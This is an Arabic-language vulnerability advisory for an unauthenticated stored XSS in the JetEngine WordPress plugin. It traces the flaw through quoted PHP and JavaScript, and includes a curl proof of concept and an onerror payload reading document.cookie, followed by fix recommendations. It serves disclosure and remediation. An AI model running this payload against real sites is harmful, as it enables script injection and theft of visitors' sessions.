
JetEngine <= 3.7.7 — ثغرة Cross-Site Scripting مخزّنة بدون مصادقة عبر CCT REST API
التاريخ: 11 مارس 2026 درجة CVSS: 7.1 (عالية) متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L الملحق المتأثر: JetEngine <= 3.7.7 معرّف الملحق (Slug): jet-engine أُصلح في: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 الباحث: Bonds (عبر Patchstack) أُبلغ عنه: 19 أكتوبر 2025 كُشف عنه: يناير 2026 إصدار ووردبريس المُختبر: الأحدث
CVE-2025-67923 هي ثغرة برمجة نصية عبر المواقع مخزنة بدون مصادقة (Stored XSS) في ملحق JetEngine لووردبريس تؤثر على جميع الإصدارات حتى 3.7.7. يمكن لمهاجم غير مصادق كتابة HTML/JavaScript عشوائي في حقل نصي لنوع محتوى مخصص (CCT) عبر REST API العامة، ثم يُحقن دون تنقية في DOM عبر نقطة امتصاص innerHTML في JavaScript داخل أداة قوائم الخرائط (Maps Listing) عندما يزور ضحية أي صفحة تحتوي على تلك الأداة.
لا يتطلب الهجوم أي مصادقة أو صلاحيات. يتطلب فقط ما يلي:
public.✅ تم تأكيد الثغرة — تم كتابة حمولة XSS المخزنة وتنفيذها
الأثر المؤكد:
الثغرة عبارة عن مزيج من نقطتي ضعف مستقلتين:
نقص تنقية المدخلات (التخزين): لا يحتوي أسلوب sanitize_field_value() في معالج عناصر CCT على مسار تنقية لحقول نوع text. حالة default: تحوّل الطوابع الزمنية فقط — يمر HTML الخام ويُحفظ في قاعدة البيانات.
نقطة امتصاص XSS عبر DOM (العرض): تقرأ أداة قوائم الخرائط قيمة الحقل المخزنة عبر get_marker_label()، وتغلّفها بـ htmlspecialchars(json_encode(...)) لسمة HTML data-markers، ثم يقرأ JavaScript في الواجهة الأمامية السمة عبر getAttribute() (الذي يفك ترميز كيانات HTML)، ويُدرج markerData.label مباشرة عبر innerHTML — مما ينفذ أي HTML/JavaScript مضمّن.
يتحقق وحدة تحكم REST العامة الخاصة بـ CCT من الصلاحيات عبر check_user_permissions():
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
$content_type = $this->get_content_type_from_request( $request );
$cap = $content_type->get_arg( $context );
if ( ! $cap || 'public' === $cap ) {
return true; // No authentication required
} else {
return current_user_can( $cap );
}
}
public function create_item_permissions_check( $request ) {
return $this->check_user_permissions( $request, 'rest_put_access' );
}
عندما يتم ضبط CCT مع rest_put_access = 'public' (إعداد مدعوم وموثق لنماذج مواجهة الجمهور)، تكون نقطة النهاية بدون مصادقة بالكامل. يمكن لأي عميل HTTP إرسال POST إلى /wp-json/jet-cct/{slug}.
يستدعي معالج REST الدالة $handler->update_item($params) والتي تصل إلى sanitize_field_value():
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
$type = isset( $field['type'] ) ? $field['type'] : false;
switch ( $type ) {
case 'repeater': // sanitizes sub-fields
// ...
case 'checkbox': // handles boolean arrays
case 'checkbox-raw':
// ...
case 'media':
case 'gallery': // sanitizes media JSON
// ...
case 'wysiwyg':
$value = jet_engine_sanitize_wysiwyg( $value ); // sanitized
break;
default:
// TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
$value = $this->factory->maybe_to_timestamp( $value, $field );
}
return $value;
}
يصل حقل من نوع text إلى فرع default:. يُرجع maybe_to_timestamp() القيمة دون تغيير للسلاسل غير التاريخية. يتم تخزين حمولة XSS `` حرفياً.
عندما تعرض أداة قوائم الخرائط، يقرأ get_marker_label() الحقل:
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {
// ...
switch ( $label_type ) {
case 'meta_field':
$field = $settings['marker_label_field'];
if ( $field ) {
$result = jet_engine()->listings->data->get_meta( $field, $post );
// No esc_html() here — raw value returned
}
break;
}
return $result; // Returns ""
}
تُوضع القيمة المُرجعة في مصفوفة بيانات العلامة:
// render.php:231-237
$result[] = array(
'id' => $post_id,
'latLang' => $latlang,
'label' => $this->get_marker_label( $post, $settings ), // raw XSS payload
// ...
);
تُرمَّز مصفوفة العلامة لسمة HTML:
// render.php:247
return htmlspecialchars( json_encode( $result ) );
يسلسل json_encode القيمة `` كسلسلة "". ثم يقوم htmlspecialchars بترميز JSON بالكامل على مستوى HTML، منتجاً:
[{...,"label":"<img src=x onerror=alert(1)>",...}]
تُكتب هذه القيمة في سمة HTML data-markers. الترميز يحمي حدود السمة فقط. عندما يقرأ JavaScript السمة، يفك المتصفح ترميز كيانات HTML، مستعيداً الأحرف الأصلية:
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''
في frontend-maps.js، تُدمج سلسلة التسمية الخام مباشرة في سلسلة محتوى HTML:
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//
// </div>'
ثم تُعيَّن سلسلة المحتوى هذه كخاصية innerHTML لعنصر العلامة:
// mapbox-maps.js:175
el.innerHTML = data.content; // XSS FIRES
// leaflet-maps.js:34
contentHtml.innerHTML = content; // XSS FIRES
كل زائر يحمّل صفحة تحتوي على أداة قوائم الخرائط يطلق الحمولة.
maps-listings و custom-content-types في JetEngine مفعّلة.locations (المعرّف: locations) مع:
rest_put_enabled = truerest_put_access = 'public'text باسم labelmarker_type = 'text'marker_label_type = 'meta_field'marker_label_field = 'label'curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
-H 'Content-Type: application/json' \
-d '{
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}'
الاستجابة:
{"success": true, "item_id": 1}
curl -s 'http://TARGET/wp-json/jet-cct/locations'
الاستجابة:
[{
"_ID": "1",
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}]
يُخزن وسم `` حرفياً — لم تحدث أي تنقية.
أي زائر مصادق أو غير مصادق يحمّل صفحة تحتوي على أداة قوائم الخرائط سينفّذ الحمولة. تحتوي سمة HTML المُعرضة على:
<div class="jet-map-box"
data-markers="[{..."label":"<img src=x onerror=alert(document.cookie)>"...}]"
data-general="...">
</div>
يقرأ JavaScript data-markers، ويفك ترميز كيانات HTML، ويحلل JSON، ويدرج في DOM:
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)
Attacker WordPress REST API Victim Browser
| | |
|-- POST /wp-json/jet-cct/ ---> | |
| {"label":" |
| | el.innerHTML = label
| | onerror=alert() FIRES
يتعامل sanitize_field_value() صراحةً مع wysiwyg بتنقية قائمة على wp_kses ولكنه يضع جميع أنواع السلاسل الأخرى في فرع default: لا ينفذ أي تهريب HTML. يُنتهك الافتراض القائل إن حقول text هي نص عادي عندما تُعرض هذه القيم لاحقاً كـ HTML عبر مسار innerHTML الخاص بأداة الخرائط.
يُطبق htmlspecialchars(json_encode($result)) لحماية حدود سمة HTML. هذا صحيح وضروري — لكنه غير كافٍ لمنع XSS عندما تُقرأ القيمة لاحقاً عبر JavaScript وتُدرج في DOM عبر innerHTML. يمكن للمتصفح عكس هذا الترميز. الإصلاح الصحيح هو تطبيق esc_html() (أو htmlspecialchars) على قيمة label الفردية قبل ترميز JSON، بحيث تُخزن الحمولة في JSON كنص مرمّز بالكيانات. عندما يدرجها JavaScript عبر innerHTML، يعرض المتصفح <img> كنص، وليس كوسم HTML.
بدلاً من ذلك، استبدل innerHTML بـ textContent في JavaScript الخاص بحقل التسمية.
لا يتعامل مسار الكتابة في REST API (update_item) مع جميع القيم المخزنة كنقاط امتصاص HTML محتملة. تُحدد سياسة التنقية فقط حسب نوع الحقل، مع إعفاء حقول text بصمت على الرغم من عرضها كـ HTML في الواجهة الأمامية عبر أداة الخرائط.
| التاريخ | الحدث |
|---|---|
| 19 أكتوبر 2025 | أُبلغ عن الثغرة من قبل الباحث "Bonds" عبر Patchstack |
| يناير 2026 | الكشف العام |
| يناير 2026 | إصدار JetEngine 3.7.8 مع الإصلاح |
| 11 مارس 2026 | إعادة إنتاج مستقلة مع إثبات مفهوم (PoC) كامل |
| الملف | المشكلة |
|---|
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424 | يُرجع create_item_permissions_check قيمة true عندما يكون rest_put_access = 'public' في CCT — لا حاجة لمصادقة |
includes/modules/custom-content-types/inc/item-handler.php:489 | فرع default: في sanitize_field_value() — لا تنقية HTML لحقول نوع text |
includes/modules/maps-listings/inc/render.php:233 | يُرجع get_marker_label() قيمة بيانات وصفية خام دون esc_html() |
includes/modules/maps-listings/inc/render.php:247 | htmlspecialchars(json_encode($result)) — يحمي حدود السمة فقط، لا حقن innerHTML |
includes/modules/maps-listings/assets/js/frontend-maps.js:112 | pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — إدراج تسمية خام في سلسلة HTML |
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175 | el.innerHTML = data.content — نقطة امتصاص تنفيذ XSS |
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34 | contentHtml.innerHTML = content — نقطة امتصاص تنفيذ XSS |
| الإصلاح | الملف | الوصف |
|---|
| تنقية الحقول النصية عند الحفظ | item-handler.php:sanitize_field_value() | أضف $value = wp_kses($value, []) أو sanitize_text_field($value) في فرع default: |
| تهريب التسمية وقت العرض | render.php:get_marker_label() | طبّق esc_html($result) قبل إرجاع قيمة التسمية |
استخدام textContent بدلاً من innerHTML للتسميات | frontend-maps.js, mapbox-maps.js, leaflet-maps.js | استبدل el.innerHTML = data.content ببناء DOM آمن عندما يكون المحتوى نص تسمية فقط |
| تقييد الوصول الافتراضي للكتابة عبر REST | إعدادات الملحق | غيّر القيمة الافتراضية لـ rest_put_access إلى manage_options بدلاً من public؛ واطلب اشتراكاً صريحاً |